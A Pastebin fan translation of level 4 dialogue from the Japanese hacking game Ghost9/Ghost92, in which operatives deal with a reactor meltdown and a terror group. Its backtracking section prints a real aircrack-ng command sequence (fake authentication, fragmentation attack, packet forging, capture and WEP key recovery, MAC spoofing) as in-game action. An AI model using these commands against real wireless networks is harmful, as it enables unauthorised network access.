Advertisement
Guest User

Ghost9 - Ghost92 Level 4 TL

a guest
Jun 16th, 2017
135
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 21.85 KB | None | 0 0
  1. *********************************************
  2. Ghost9/Ghost92 Translation
  3. Date: 2017/06/xx
  4. Translated by: anonymous
  5.  
  6. Text Translated:
  7. -Level 4 Dialogue
  8. -Backtracking Dialogue
  9.  
  10.  
  11. Note: The dialogue for level 4 is identical
  12. in both Ghost9 and Ghost92.
  13. *********************************************
  14.  
  15. [After gaining access via the long drop from level 3 you come across Fellow Buyer]
  16.  
  17.  
  18. バイヤー仲間「バイヤーと一緒に来たのだが//Fellow Buyer: I came here together with a Buyer but
  19. サーバの前ではぐれてしまった//I just lost sight him in front of the servers.
  20.  
  21. あいつ・・・//That guy...
  22. ホットスポットでやられてなきゃいいけど・・」//It'd be good if he didn't get done in by the hotspot.
  23.  
  24.  
  25. [When you encounter Buyer3 in the hidden room]
  26.  
  27. バイヤー3「おっと、//Buyer 3: Whoops,
  28. ばれてしまった //busted huh.
  29.  
  30. おれはここで武器を売っている、//I'm selling weapons from here,
  31. 誰であろうと取引するぜ」 // I'll make a deal with anyone.
  32.  
  33. **セムテックス**   コマンド?//**Semtex** Command? [YES/NO]
  34. 1個3円、買いますか?
  35. // 1 block 3 yen, you buying?
  36.  
  37. [If yes]
  38.  
  39. 「セムテックス」を手に入れた! // You obtained Semtex!
  40.  
  41. [When you encounter a fallen woman]
  42.  
  43. 目の前に服装が乱れた女性が倒れている//Before Snort's eyes, a woman is disheveled clothes has collapsed.
  44.  
  45. ?「た・・・助けてください、//?: P....please help me,
  46. 夫が道具を探しに行ったまま帰ってこないのです・・・」//my husband went in search of an instrument and hasn't returned...
  47.  
  48. 道具?//Instrument?
  49.  
  50. ?「メルトダウンによる水蒸気爆発を防ぐために必要なものです」//?: It's something necessary, in order to prevent a steam explosion due to the meltdown.
  51.  
  52. どこへ行った?//Where was he headed?
  53.  
  54. ?「核廃棄物を保管している部屋です//?: It's the room where they're storing the nuclear waste.
  55. 放射能汚染がひどくて防護服無しで入ることが出来ません」//The radioactive contamination is severe so you can't enter without protective clothing.
  56.  
  57. 隊長「スノート、ここで時間を取られる訳にはいかない//Commander: Snort, we can't afford to be held up here.
  58. 5階層に侵入して戦艦からアクセス出来るようにしろ」//Infiltrate level 5 and make sure that the battleship is able to access it.
  59.  
  60. バイヤー「メルトダウンがすでに発生しているんだぜ、//Buyer: Commander,
  61. 隊長!」//the meltdown is already happening!
  62.  
  63.  
  64. [When you encounter the fallen man in the poison filled room]
  65.  
  66. 目の前にアノラックスーツを着た男が倒れている//Before Snort's eyes, a man in an Anorak suit has collapsed.
  67. 細長い銃を大切そうに抱えている//He's holding on to a long and narrow gun as if it's important.
  68.  
  69. 「ドラグノフ」を手に入れた! // You obtained the Dragonov!
  70.  
  71. スノートは男をかついだ //Snort carried the man on his shoulders.
  72.  
  73. [When you talk to the fallen woman again after recovering her husband]
  74.  
  75. スノートは担いでいる男をおろした //Snort put down the man he was carrying.
  76.  
  77. ?「私は毒ガス軍から隠れるのに最適な場所を知っています、//?: While I was hiding from the Poison Gas Army, I discovered the perfect place,
  78. そこまであなたをお連れします」//I'll accompany you until we're there.
  79.  
  80. [The scene fades to black, and you reappear in the hidden room]
  81.  
  82. ?「妻の話からすると君は俺を保管庫から救出してくれたようだな//?: Based on what my wife told me, you rescued me from the storage warehouse didn't you?
  83. まずは礼を言おう」//First of all, thank you.
  84.  
  85. [When you speak to the wife again]
  86.  
  87. 斉藤妻「私は斉藤の妻です」//Saitou's Wife: I'm Saitou's wife.
  88.  
  89. ここで何をしていた?// What were you doing here?
  90.  
  91. 斉藤妻「となりの斉藤と同じく原子炉の障害対応です」//Saitou's Wife: Dealing with the nuclear reactor's malfunction, together with Saitou here.
  92.  
  93. 原子炉について知っていることは?//What do you know about the nuclear reactor?
  94.  
  95. 斉藤妻「日南重工の下請け企業の社員が//Saitou's Wife: A employee from Nichinan Heavy Industries' subcontractor
  96. 障害対応チームに加わっています//was added to the malfunction response team.
  97. 彼らも私達と同じ理由で連れてこられたようです」//It seems they were also brought along for the same reason as we were.
  98.  
  99.  
  100. 毒ガス軍について知っていることは?//What do you know about the Poison Gas Army?
  101.  
  102. 斉藤妻「毒ガス軍はATや強化外殻の部隊で//Saitou's Wife: The Poison Gas Army threatened the team
  103. おどしをかけてチームに作業をさせています//with a unit of "Enhanced Shells" and ATs.
  104. 現場はスコットという男が指揮しています」//A man named Scott is commanding on-site.
  105.  
  106. スコットはどこにいる?//Where is Scott?
  107.  
  108. 斉藤妻「スコットは障害対応チーム第一陣を原子炉に連れて行きました//Saitou's Wife: Scott took the malfunction response team 1st group along to the nuclear reactor
  109. もうすぐスコットがバルコニーへ戻ってくるようです」// It appears that Scott will be returning to the balcony very soon.
  110.  
  111. 隊長「ゴーストの情報どうり、//Commander: Just as Ghost's intel said,
  112. スコットは5階層にある原子炉へ出入りできる権限を//Scott has the authority to go back and forth from the nuclear reactor on level 5.
  113. 持っていることが確実になった//His returning has become a certainty.
  114.  
  115. スノート、//Snort,
  116. スコットを倒せ//defeat Scott
  117. そして5階層へ向かうためのカギを手に入れるんだ」//and obtain the key to heading to level 5.
  118.  
  119. たいちょう「スコットか、//CO: Scott huh,
  120. やつはしきかんとしてのけいけんがたかそうだな//seems like he has a lot of experience as a CO doesn't he.
  121. そのためげんしろしゅうりをまかせられたのだろう//I guess that's why he was entrusted with repairing the nuclear reactor.
  122.  
  123. スノート、//Snort,
  124. スコットはさいごのクラッカーぶたいだ//Scott is the last member of the Cracker Unit.
  125. やつをたおして、てがかりをみつけるんだ」//Defeat him, and then find any leads.
  126.  
  127. [If you speak to her once again]
  128.  
  129. 斉藤妻「今、仲間が偵察の為に//Saitou's Wife: Presently, in order for my colleague to do reconnaissance,
  130. バルコニーで監視しています//the balcony is being monitored.
  131. 敵はATや強化外殻で武装しています//The enemy is armed with ATs and Enhanced Shells.
  132. 気を付けて下さい」//Please be careful.
  133.  
  134. [When you speak to Saitou]
  135.  
  136. 斉藤「俺はただの技術者、斉藤だ//Saitou: I'm just an engineer, the name's Saitou.
  137. となりは俺の妻だ」//That's my wife next to me.
  138.  
  139. ここで何をしていた?// What were you doing here?
  140.  
  141. 斉藤「原子炉の障害対応に来た//Saitou: I came to deal with the nuclear reactor's malfunction.
  142. 原子炉のバルブで圧力を下げる作業を任せられている」///I was tasked with job of lowering the pressure with the reactor's valve.
  143.  
  144. 毒ガス軍との関係?// What's the connection with the Poison Gas Army?
  145.  
  146. 斉藤「あちらは今まで俺達との関わりを知らなかった//Saitou: Until now, they weren't aware of the connection between us and them.
  147. こちらも毒ガス軍のテロ集団とは関わりあう気はない」//We also didn't intent to be involved with the Poison Gas Army terror group.
  148.  
  149. 何の関わりがあった?//What connection was there?
  150.  
  151. 斉藤「……だまされて連れてこられたんだ//Saitou: ... I was tricked into being brought along.
  152. 俺達は日南の社員という男に仕事を持ちかけられ、// We were offered a job by a Nichinan corporate employee;
  153. 言われるまま来た場所が毒ガス軍施設だった」// we came to the location just as we were told, and it was the Poison Gas Army's headquarters.
  154.  
  155. 主任「なぜ日南重工の社員は//Chief: Why would a Nichinan Heavy Industries employee
  156. 毒ガス軍とは関係がないあなた達を呼んだのですか?」//call those who have no connection to the Poison Gas Army.
  157.  
  158.  
  159. 斉藤「原子炉の部品に俺達の計器が使われていたからだ//Saitou: Our gauges were used as components in the nuclear reactor.
  160. それを理由に責任を押し付けられたんだ」//For that reason, the responsibility was pushed on us.
  161.  
  162. バイヤー「原子炉にお前の計器が使われていた経緯は?」//Buyer: What are the details of your gauges being used in the nuclear reactor?
  163.  
  164. 斉藤「そんなこと、俺が知りたいよ//Saitou: That's what I'd like to know.
  165. 日南と関係がない企業に納品した計器がどうしたわけか//The reason why Nichinan, and the supplied gauges from an unrelated company,
  166. 毒ガス軍の原子炉に使われていたんだ」//were used in the Poison Gas Army's nuclear reactor.
  167.  
  168. 斉藤「俺達が逃げても//Saitou: Even though we ran away,
  169. また代わりの奴が対応をしなくちゃいけなくなる//the guys who were still substitutes had no choice but to deal with it.
  170.  
  171.  
  172. メルトダウンと言われたらなおさらだ、//If it's a meltdown we're talking about that's all the more reason,
  173. これ以上被害が出ないよう処置しなくちゃいけねぇ」//we have to take measures so that there are no further injuries.
  174.  
  175. -TLNOTE
  176. P84 taekim
  177. しなくちゃいけなくなる -> しなくちゃ -> しなければ have/had to ->go -> no longer be
  178. しなければいけない
  179. しなくていけない
  180. しなくちゃいけなくなる not occur anymore/go/
  181.  
  182. [After talking to Saitou and his wife, you encounter a Researcher (same sprite as buyer) in the bottom of the main chamber on level 4]
  183.  
  184. 研究員「スコット達が戻ってきました コマンド?//Researcher: Scott and the others have returned. Command? [YES/NO]
  185. 用意はいいですか?」//Are you prepared?
  186.  
  187. [If no]
  188.  
  189. 研究員「またおいで」 //Researcher: Come again.
  190.  
  191. [If yes]
  192.  
  193. 研究員「私は終わるまで退避しています、無理はしないでください」//Researcher: I'm taking cover until it's over; please don't do anything reckless.
  194.  
  195. [After defeating Scott]
  196.  
  197. スコット部隊はちりじりになった//Scott's unit was scattered.
  198. スノートは斉藤達を守りぬいた//Snort protected Saitou and the others till the end.
  199.  
  200. スノートは(スコットのLANカード)を手に入れた//Snort obtained "Scott's LAN card".
  201.  
  202.  
  203. [When you speak to Saitou again after defeating Scott]
  204.  
  205. 斉藤「まだ終わっちゃいねぇ、//Saitou: It ain't over yet,
  206. メルトダウンは進行中だ//the meltdown is in progress.
  207. もうすぐ水蒸気爆発してしまう」//Very soon a steam explosion is gonna happen.
  208.  
  209. 何をすればいい?//What can we do?
  210.  
  211. 斉藤「ジェットポンプのバルブを手動操作して/Saitou: If you manually operate the jet pump valve
  212. 圧力を下げれば水蒸気爆発は収まる//and lower the pressure, the steam explosion will be taken care of.
  213.  
  214. しかし、//However,
  215. バルブの周りは高温になっていて//the temperature in vicinity around the valve has become high.
  216. 近寄ることが出来ない//You can't get near to it.
  217.  
  218. 本来なら日南重工と毒ガス軍が責任を負わなくちゃ//By all rights, Nichinan Heavy Industries and the Poison Gas Army would
  219. いけない話だが俺達がなんとかするしかない」//have to take responsibility for this, but we have no choice but to do something about.
  220.  
  221. [When you speak to Saitou's wife again after defeating Scott]
  222.  
  223. 斉藤妻「夫を手当てするために、//Saitou's Wife: In order to give first aid to my husband,
  224. 私はここにいます//I'm going to stay here.
  225. どうかご無事で・・・」//Please be safe.
  226.  
  227.  
  228. - [Backtracking Dialogue]
  229.  
  230. [The next set of dialogue occurs after a revisit to Ghost's Room in Level 2, to get her laptop]
  231.  
  232. ノートパソコンが捨てられている、//A laptop has been thrown away,
  233. 重さからみて古い型のようだ//from the weight it looks like it's an old model.
  234.  
  235. 裏返すと(ゴースト)と持ち主の名前が書かれていた//When turned over, the owner's name "Ghost", was written on it.
  236.  
  237.  
  238. ゴースト「スノート、//Ghost: Snort,
  239. 私のノートパソコンを見つけたようだな、無線LANカードは認識しているか?」//It looks like you found my laptop didn't you, is the WLAN card being recognized?
  240.  
  241.  
  242. スノートは無線LANカードが認識されているか確認した//Snort confirmed whether the WLAN card could be recognized.
  243.  
  244. #/sbin/iwconfig
  245.  
  246. lo no wireless extensions.
  247. eth0 IEEE 802.11-DS ESSID:””
  248.  Nickname:””....
  249.  
  250. スノートは無線LANカードが認識されているのを確認した//Snort confirmed that the WLAN card could be recognized.
  251.  
  252. #kismet
  253. Server option: none
  254. Client option: none
  255. Starting server...
  256.  
  257. #wlanctl-ng eth0 lnxreq-wlansniff
  258. enable=true channnel=6
  259. message=lnxreq=wlansniff
  260. enable=true channel=6
  261. resultcode=success
  262.  
  263. 無線LANを盗聴できるようカスタマイズした//The WLAN card was customized so that it could perform interception.
  264.  
  265. ゴースト「よし、このパソコンを持ったまま地下都市を移動してくれ//Ghost: Alright, take the PC as is and go to the underground city.
  266. 無線のアクセスポイントを見つけたら反応する//It's been setup so that if you find a wireless access point,
  267. ように設定している」//you'll get a response.
  268.  
  269. 主任「ウォードライビング?」//Chief: War driving?
  270.  
  271. ゴースト「ニュービーみたいだろ?//Ghost: Just like a newbie right?
  272. 私はこういう黒いこと大好きなんだぜ」//I love dark stuff like this.
  273.  
  274. スノートはゴーストのノートパソコンを手に入れた//Snort obtained Ghost's laptop.
  275.  
  276.  
  277. [The next set of dialogue occurs after a revisit to the wireless LAN hotspot on level 3, with Scott's LAN card]
  278.  
  279.  
  280. スノートはノートパソコンにスコットの無線LANカードを差し込んだ//Snort inserted Scott's WLAN card into the laptop.
  281.  
  282. スノートはノートパソコンとアクセスポイントを関連させてみた//Snort tried to see if the AP would allow a connection to the laptop.
  283.  
  284. #aireplay-ng -1 0
  285.  -a 12:34:56:78:90:AB
  286.  -h 00:FF:FF:FF:FF:FF
  287.  -e WDOKUGAS ath0
  288.  
  289. Sending Authentication Request
  290. Authentication successful
  291. Sending Association Request
  292. Association successful :-)
  293.  
  294. スノートはノートパソコンとアクセスポイントを関連させることが出来た//Snort was able to connect the laptop to the access point.
  295.  
  296. 主任「よし、次はWEP暗号を解読するために//Senior Staff: Good, next commence a Fragmentation attack
  297. Fragmentation attackを始める」///so you can decrypt the WEP encoding.
  298.  
  299. #aireplay-ng
  300.  -5 -b 12:34:56:78:90:AB
  301.  -h 00:FF:FF:FF:FF:FF ath0
  302.  
  303. Use this packet ? Y
  304.  
  305. Saving keystream in
  306. fragment-0000-0000.xor
  307.  
  308. #packetforge-ng
  309.  -0 -a 12:34:56:78:90:AB
  310.  -h 00:FF:FF:FF:FF:FF
  311.  
  312. -k 255.255.255.255
  313.  -l 255.255.255.255
  314.  -y fragment-0000-0000.xor
  315.  -w doku
  316.  
  317. Wrote packet to: doku
  318.  
  319. #airodump-ng
  320.  --bssid 12:34:56:78:90:AB
  321.  --channel 11
  322.  -w /tmp/cap ath0
  323.  
  324. #aireplay-ng
  325.  -2 -r doku ath0
  326.  
  327. Use this packet ? Y
  328.  
  329. Saving chosen packet
  330.  in replay_src-0000-0000.cap
  331.  
  332. スノートは解読するのに十分なデータが//Snort confirmed that enough data
  333. 集まったことを確認した//was collected while decrypting.
  334.  
  335. 主任「OK、後は解読するだけだ」//Chief: OK, and now all that's left is the decryption.
  336.  
  337. #aircrack-ng -z /tmp/cap
  338.  
  339. スノートは解読が終わるまで待った//Snort waited until the decryption was finished.
  340.  
  341. #KEY FOUND! (ASCII: D4O5KU6G06U)
  342.  
  343. #iwconfig eth0
  344.  essid WDOKUGAS
  345.  key D4O5KU6G06U
  346.  
  347. #ifconfig eth0
  348.  hw ether 00:FF:FF:FF:FF:FF
  349.  
  350. #dhcpcd eth0
  351.  
  352. スノートはファイアーウォールを探した//Snort searched for a firewall.
  353.  
  354. #ping 192.168.5.1
  355.  
  356. Packets:
  357.  Sent=4, Received=4, Lost=0(0% loss),
  358.  
  359. 主任「ファイアーウォールはWEBブラウザで操作できるはずだ、//Chief: You should be able to manipulate the firewall by web browser,
  360. 80番ポートにHTTPで接続してくれ」//connect to port 80 with HTTP please.
  361.  
  362. スノートはWEBブラウザを立ち上げ、//Snort started up the web browser,
  363. ファイアウォールの管理インターフェースに接続した//and connected to the firewall's control interface.
  364.  
  365. #スノートはバイオメトリクス認証サーバへすべての通信を//#Snort configured the firewall so that
  366. 許可するようファイアウォールを設定した//all transmissions to the biometric authentication server are authorized.
  367.  
  368. ゴースト「スノート、//Ghost:
  369. 初心者にしてはいい勘をしている//for a beginner you have good intuition.
  370.  
  371. 並の攻撃者ならやみくもにGUIを荒らすが//If it were an average attacker, they'd blindly break into the GUI,
  372. 目的を理解して的確に操作できる上級者は慎重に行う//but an expert, who understands their objective and is able to operate precisely, would conduct themselves cautiously.
  373.  
  374. ハッキングの不運は接続してから兆候を示す、//The bad luck in hacking is leaving a trace after connecting,
  375. 記録されたことを説明できない、見えない、聞こえない//you can't explain the things recorded, you can't see it, nor can you hear it.
  376.  
  377. 記録からいずれ破局を迎える//Because of records you will eventually approach disaster.
  378. 初心者と上級者の違いは1番目の壁に残すか、//The difference between a beginner and an expert, is whether you leave it behind at the first obstacle,
  379. 2番目の壁に残すか少しの差でしかない」//or leave it behind at the 2nd obstacle, it's no more than a small difference.
  380.  
  381. ゴーストはファイアウォールのログを調べた//Ghost examined the firewall's log.
  382.  
  383. ゴースト「プロクシサーバから原子炉管理システムに向けて//Ghost: Several packets can be sent towards the
  384. 数個のパケットが送られている……」//nuclear reactor control system from the proxy server...
  385.  
  386. 隊長「ゴースト、//Commander: Ghost,
  387. スノートを5階層に侵入させることが先だ//allowing Snort to infiltrate level 5 comes first.
  388. バイオメトリクス認証サーバのデータベース改ざんを行え」//Carry out the falsification of the biometric authentication server's database.
  389.  
  390. ゴースト「隊長が持っているスノートの情報をこっちに送ってくれ//Ghost: Commander, send the information you have on Snort over here.
  391. データベースに登録する」//I'll record it in the database,
  392.  
  393. ゴーストはスノートの情報をバイオメトリクスのデータベースに登録した//Ghost recorded Snort's information in the database.
  394.  
  395. ゴーストはファイアウォールに残ったログを収集した//Ghost collected the log that remained in the firewall.
  396.  
  397. 隊長「よくやった、//Commander: Good work,
  398. これでスノートはバイオメトリクス認証を通過出来る」//with this Snort will be able to pass through biometric authentication.
  399.  
  400. [If you leave the area and come into contact with the hotspot again]
  401.  
  402. アクセスポイントがある、//There's an access point here,
  403. もう使うことはないだろう//there's no reason to use anymore now is there.
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement